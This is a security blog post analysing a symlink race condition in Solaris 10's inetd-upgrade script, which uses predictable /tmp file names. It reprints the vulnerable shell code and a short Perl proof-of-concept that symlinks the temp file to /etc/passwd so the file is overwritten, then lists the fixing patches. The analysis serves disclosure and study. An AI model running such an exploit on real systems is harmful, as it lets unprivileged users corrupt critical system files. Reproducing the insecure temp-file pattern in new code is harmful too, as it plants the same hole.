xorl %eax, %eax

Solaris 10 inetd-upgrade Symbolic Link Race Condition

leave a comment »

This was a simple and nice vulnerability discovered by Larry W. Cashdollar as we can see in his email to the Bugtraq mailing list. The buggy code was part of /lib/svc/method/inetd-upgrade shell script and specifically in the below part.

# The Following blocks of code cause the inetconv generated services to be
# re-generated, so that the latest inetconv modifications are applied to all
# services generated by it.

inetdconf_entries_file=/tmp/iconf_entries.$$
 
# Create sed script that prints out inetd.conf src line from inetconv generated
# manifest.
cat <<EOF > /tmp/inetd-upgrade.$$.sed
/propval name='source_line'/{
n
s/'//g
p
}
/from the inetd.conf(4) format line/{
n
p
}
EOF

# get list of inetconv generated manifests
inetconv_manifests=`/usr/bin/find /lib/svc/manifest -type f -name \*.xml | \
    /usr/bin/xargs /usr/bin/grep -l "Generated by inetconv"`

# For each inetconv generated manifest determine the instances that should
# be disabled when the new manifests are imported, and generate a file with
# the inetd.conf entries from all the manifests for consumption by inetconv.
   ...
	# add the manifest's inetd.conf src line to file for inetconv
	sed -n -f /tmp/inetd-upgrade.$$.sed $manifest >> \
	    $inetdconf_entries_file
done
 
rm /tmp/inetd-upgrade.$$.sed
 
# Check whether we've ever run inetconv before by looking for the
# configuration file hash.  If we haven't run it before, then we need
# to enable services based on inetd.conf.  If we have, then the
# repository is authoritative.  `unimported' will be 0 if the hash exists.
svcprop -qp hash svc:/network/inetd:default
unimported=$?
 
# Run inetconv on generated file, overwriting previous manifests and values
# in repository.
/usr/sbin/inetconv -f -i $inetdconf_entries_file

As you can see, it generates a temporary file using the parent process’ PID (by utilizing the “$$” BASH internal environment variable). Then, generates the appropriate inetconv manifest, deletes the temporary file and runs it. The problem is that the temporary file name can be easily guessed and it is stored in /tmp where an unprivileged user has write access by default.
Larry W. Cashdollar provided a PoC Perl script to demonstrate the exploitation of this vulnerability.

#!/usr/bin/perl 
$clobber = "/etc/passwd";
while(1) {
open ps,"ps -ef | grep -v grep |grep -v PID |";

while(<ps>) {
@args = split " ", $_;

if (/inetd-upgrade/) { 
        print "Symlinking iconf_entries.$args[1] to  $clobber\n";
        symlink($clobber,"/tmp/iconf_entries.$args[1]");
        exit(1);
   }
 }

}

First it gets a processing listing and if it finds one that includes “inetd-upgrade” string it will create a symbolic link at “/tmp/iconf_entries.” where PID is the PID of the “inetd-upgrade” process that points to “/etc/passwd” file. Due to this vulnerability, this script will modify the contents of /etc/passwd with the newly generated inetd.conf entries.

This was fixed with patch 137097-01 for SPARC and 137098-01 for X86 architectures respectively. The bug report of this issue was the 6392582 with synopsis “Upgrade from S10 FCS to snv_34 wrongly enables CDE RPC services”.

About these ads

Written by xorl

September 27, 2012 at 15:13

Posted in bugs, solaris

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Follow

Get every new post delivered to your Inbox.

Join 60 other followers